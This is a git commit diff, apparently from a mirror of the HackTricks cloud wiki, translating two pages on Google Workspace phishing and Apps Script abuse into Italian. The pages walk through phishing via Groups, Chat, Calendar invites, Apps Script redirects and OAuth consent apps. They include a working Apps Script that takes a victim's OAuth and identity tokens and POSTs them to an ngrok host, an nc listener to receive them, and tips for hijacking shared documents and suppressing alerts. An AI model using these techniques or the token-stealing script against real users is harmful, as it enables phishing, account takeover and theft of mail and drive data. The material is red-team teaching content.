mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 07:11:47 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -10,70 +10,68 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
A quanto pare, per impostazione predefinita, nei workspace i membri [**possono creare gruppi**](https://groups.google.com/all-groups) **e invitare persone a farne parte**. Puoi quindi modificare l'email che verrà inviata all'utente **aggiungendo alcuni link.** L'**email verrà inviata da un indirizzo google**, quindi sembrerà **legittima** e le persone potrebbero cliccare sul link.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
È anche possibile impostare l'indirizzo **FROM** come l'**email del gruppo Google** per inviare **ulteriori email agli utenti all'interno del gruppo**, come nell'immagine seguente dove il gruppo **`google--support@googlegroups.com`** è stato creato e un'**email è stata inviata a tutti i membri** del gruppo (che sono stati aggiunti senza alcun consenso)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
Potresti essere in grado di **iniziare una chat** con una persona avendo solo il suo indirizzo email o inviare un'**invito a parlare**. Inoltre, è possibile **creare uno Spazio** che può avere qualsiasi nome (ad es. "Google Support") e **invitare** membri a farne parte. Se accettano, potrebbero pensare di stare parlando con il supporto Google:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **Tuttavia, nei miei test i membri invitati non hanno nemmeno ricevuto un invito.**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Puoi controllare come questo ha funzionato in passato in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
In passato era possibile creare un **documento apparentemente legittimo** e in un commento **menzionare un'email (come @user@gmail.com)**. Google **inviava un'email a quell'indirizzo email** notificando che era stato menzionato nel documento.\
|
||||
Oggigiorno, questo non funziona più, ma se **dai accesso al documento all'email della vittima**, Google invierà un'email che lo indica. Questo è il messaggio che appare quando menzioni qualcuno:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> Le vittime potrebbero avere meccanismi di protezione che non consentono che le email che indicano che un documento esterno è stato condiviso con loro raggiungano la loro email.
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
Puoi **creare un evento di calendario** e aggiungere quanti più indirizzi email dell'azienda che stai attaccando. Pianifica questo evento di calendario in **5 o 15 minuti** dall'orario attuale. Fai sembrare l'evento legittimo e **metti un commento e un titolo che indicano che devono leggere qualcosa** (con il **link di phishing**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
Questo è l'avviso che apparirà nel browser con un titolo di riunione "Licenziamento di persone", quindi potresti impostare un titolo più simile al phishing (e persino cambiare il nome associato alla tua email).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
Per farlo sembrare meno sospetto:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- Impostalo in modo che **i destinatari non possano vedere le altre persone invitate**
|
||||
- **NON inviare email che notificano l'evento**. In questo modo, le persone vedranno solo il loro avviso su una riunione tra 5 minuti e che devono leggere quel link.
|
||||
- A quanto pare, utilizzando l'API puoi impostare su **True** che **le persone** hanno **accettato** l'evento e persino creare **commenti a loro nome**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
È possibile creare uno script in [https://script.google.com/](https://script.google.com/) e **esporlo come un'applicazione web accessibile a tutti** che utilizzerà il dominio legittimo **`script.google.com`**.\
|
||||
Con un codice come il seguente, un attaccante potrebbe far caricare contenuti arbitrari in questa pagina senza smettere di accedere al dominio:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Per esempio, accedendo a [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) vedrai:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> Nota che apparirà un avviso mentre il contenuto viene caricato all'interno di un iframe.
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
È possibile creare App Scripts collegati a documenti per cercare di ottenere accesso al token OAuth di una vittima, per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
@@ -81,89 +79,83 @@ gws-app-scripts.md
|
||||
|
||||
## OAuth Apps Phishing
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
Qualsiasi delle tecniche precedenti potrebbe essere utilizzata per far accedere l'utente a un **Google OAuth application** che **richiederà** all'utente alcuni **accessi**. Se l'utente **si fida** della **fonte**, potrebbe **fidarsi** dell'**applicazione** (anche se sta chiedendo permessi ad alta privilegio).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Nota che Google presenta un brutto avviso che avvisa che l'applicazione non è affidabile in diversi casi e gli amministratori di Workspace possono persino impedire alle persone di accettare le applicazioni OAuth.
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google** consente di creare applicazioni che possono **interagire per conto degli utenti** con diversi **servizi Google**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
Quando si crea un'applicazione per **agire per conto di altri utenti**, lo sviluppatore deve creare un **OAuth app all'interno di GCP** e indicare gli scope (permessi) di cui l'app ha bisogno per accedere ai dati degli utenti.\
|
||||
Quando un **utente** desidera **utilizzare** quell'**applicazione**, verrà **richiesto** di **accettare** che l'applicazione avrà accesso ai propri dati specificati negli scope.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
Questo è un modo molto allettante per **phishare** utenti non tecnici nell'utilizzo di **applicazioni che accedono a informazioni sensibili** perché potrebbero non comprendere le conseguenze. Tuttavia, negli account delle organizzazioni, ci sono modi per prevenire che ciò accada.
|
||||
|
||||
### Unverified App prompt
|
||||
### Avviso di App non verificate
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
Come è stato menzionato, Google presenterà sempre un **avviso all'utente per accettare** i permessi che stanno dando all'applicazione per conto loro. Tuttavia, se l'applicazione è considerata **pericolosa**, Google mostrerà **prima** un **avviso** che indica che è **pericolosa** e **rende più difficile** per l'utente concedere i permessi all'app.
|
||||
|
||||
This prompt appears in apps that:
|
||||
Questo avviso appare nelle app che:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- Usano qualsiasi scope che può accedere a dati privati (Gmail, Drive, GCP, BigQuery...)
|
||||
- App con meno di 100 utenti (app > 100 è necessario anche un processo di revisione per smettere di mostrare l'avviso di non verifica)
|
||||
|
||||
### Interesting Scopes
|
||||
### Scope Interessanti
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**Qui**](https://developers.google.com/identity/protocols/oauth2/scopes) puoi trovare un elenco di tutti gli scope OAuth di Google.
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: Visualizza e gestisci i tuoi dati attraverso i servizi di **Google Cloud Platform**. Puoi impersonare l'utente in GCP.
|
||||
- **admin.directory.user.readonly**: Vedi e scarica la directory GSuite della tua organizzazione. Ottieni nomi, telefoni, URL del calendario di tutti gli utenti.
|
||||
|
||||
### Create an OAuth App
|
||||
### Crea un OAuth App
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**Inizia a creare un OAuth Client ID**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. Vai a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) e clicca su configura la schermata di consenso.
|
||||
2. Poi, ti verrà chiesto se il **tipo di utente** è **interno** (solo per le persone nella tua organizzazione) o **esterno**. Seleziona quello che si adatta alle tue esigenze
|
||||
- Interno potrebbe essere interessante se hai già compromesso un utente dell'organizzazione e stai creando questa App per phishingare un altro.
|
||||
3. Dai un **nome** all'app, un **email di supporto** (nota che puoi impostare un'email di googlegroup per cercare di anonimizzarti un po' di più), un **logo**, **domini autorizzati** e un'altra **email** per **aggiornamenti**.
|
||||
4. **Seleziona** gli **scope OAuth**.
|
||||
- Questa pagina è divisa in permessi non sensibili, permessi sensibili e permessi ristretti. Ogni volta che aggiungi un nuovo permesso, viene aggiunto alla sua categoria. A seconda dei permessi richiesti, appariranno diversi avvisi all'utente indicando quanto siano sensibili questi permessi.
|
||||
- Sia **`admin.directory.user.readonly`** che **`cloud-platform`** sono permessi sensibili.
|
||||
5. **Aggiungi gli utenti di test.** Finché lo stato dell'app è in fase di test, solo questi utenti potranno accedere all'app, quindi assicurati di **aggiungere l'email che stai per phishingare**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
Ora otteniamo **credenziali per un'applicazione web** utilizzando il **precedentemente creato OAuth Client ID**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. Torna a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), questa volta apparirà un'opzione diversa.
|
||||
2. Seleziona di **creare credenziali per un'applicazione web**
|
||||
3. Imposta gli **origini Javascript** e gli **URI di reindirizzamento** necessari
|
||||
- Puoi impostare in entrambi qualcosa come **`http://localhost:8000/callback`** per testare
|
||||
4. Ottieni le **credenziali** della tua applicazione
|
||||
|
||||
Infine, eseguiamo **un'applicazione web che utilizzerà le credenziali dell'applicazione OAuth**. Puoi trovare un esempio in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
Vai a **`http://localhost:8000`**, clicca sul pulsante Accedi con Google, ti verrà **richiesto** un messaggio come questo:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
L'applicazione mostrerà il **token di accesso e di aggiornamento** che possono essere facilmente utilizzati. Per ulteriori informazioni su **come utilizzare questi token controlla**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### Utilizzando `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
È possibile fare qualcosa utilizzando gcloud invece della console web, controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, come faccio a Red Team GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,236 +4,224 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scripts è **codice che verrà attivato quando un utente con permessi di modifica accede al documento a cui è collegato l'App Script** e dopo **aver accettato il prompt OAuth**.\
|
||||
Possono anche essere impostati per essere **eseguiti ogni certo tempo** dal proprietario dell'App Script (Persistenza).
|
||||
|
||||
### Create App Script
|
||||
### Crea App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
Ci sono diversi modi per creare un App Script, anche se i più comuni sono **da un Documento Google (di qualsiasi tipo)** e come **progetto autonomo**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Crea un progetto legato al contenitore da Google Docs, Sheets o Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Apri un documento Docs, un foglio di calcolo Sheets o una presentazione Slides.
|
||||
2. Clicca su **Estensioni** > **Google Apps Script**.
|
||||
3. Nell'editor di script, clicca su **Progetto senza titolo**.
|
||||
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>Crea un progetto autonomo</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Per creare un progetto autonomo da Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Vai a [`script.google.com`](https://script.google.com/).
|
||||
2. Clicca su **Nuovo Progetto**.
|
||||
3. Nell'editor di script, clicca su **Progetto senza titolo**.
|
||||
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Crea un progetto autonomo da Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. Apri [Google Drive](https://drive.google.com/).
|
||||
2. Clicca su **Nuovo** > **Altro** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Crea un progetto legato al contenitore da Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Apri un modulo in Google Forms.
|
||||
2. Clicca su Altro more_vert > **Editor di script**.
|
||||
3. Nell'editor di script, clicca su **Progetto senza titolo**.
|
||||
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>Crea un progetto autonomo utilizzando lo strumento da riga di comando clasp</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp` è uno strumento da riga di comando che ti consente di creare, estrarre/inviare e distribuire progetti Apps Script da un terminale.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
Consulta la [Guida all'interfaccia della riga di comando utilizzando `clasp`](https://developers.google.com/apps-script/guides/clasp) per ulteriori dettagli.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## Scenario App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### Crea Google Sheet con App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
Inizia creando un App Script, la mia raccomandazione per questo scenario è di creare un Google Sheet e andare su **`Estensioni > App Scripts`**, questo aprirà un **nuovo App Script per te collegato al foglio**.
|
||||
|
||||
### Leak token
|
||||
### Token di leak
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambiti come**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: Accesso a utenti e gruppi della directory (se l'utente ha abbastanza permessi)
|
||||
- **Gmail**: Per accedere ai dati di gmail
|
||||
- **Drive**: Per accedere ai dati di drive
|
||||
- **Google Sheets API**: Affinché funzioni con il trigger
|
||||
|
||||
Per cambiare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
Per catturare la richiesta puoi semplicemente eseguire:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> Poiché viene effettuata una richiesta esterna, il prompt OAuth **chiederà anche il permesso di raggiungere endpoint esterni**.
|
||||
|
||||
### Create Trigger
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
Una volta letta l'App, clicca su **⏰ Triggers** per creare un trigger. Come **function** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
Nota che puoi controllare i **runs degli App Scripts nella scheda Esecuzioni** se vuoi fare debug di qualcosa.
|
||||
|
||||
### Sharing
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
Per **triggerare** l'**App Script**, la vittima deve connettersi con **Editor Access**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> Il **token** utilizzato per eseguire l'**App Script** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> Se qualcuno ti ha **condiviso un documento con App Scripts e un trigger utilizzando il Head** dell'App Script (non un deployment fisso), puoi modificare il codice dell'App Script (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e l'**App Script verrà eseguito con i permessi dell'utente che ha condiviso il documento con te**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> Una **notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script** (Che ne dici di usare i permessi di gmail per generare un filtro per prevenire l'allerta?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> Se un **attaccante modifica gli scope dell'App Script**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato.
|
||||
|
||||
### Copying instead of sharing
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
Quando crei un link per condividere un documento, viene creato un link simile a questo: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
Se **cambi** la parte finale **"/edit"** in **"/copy"**, invece di accedervi, google ti chiederà se vuoi **generare una copia del documento:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
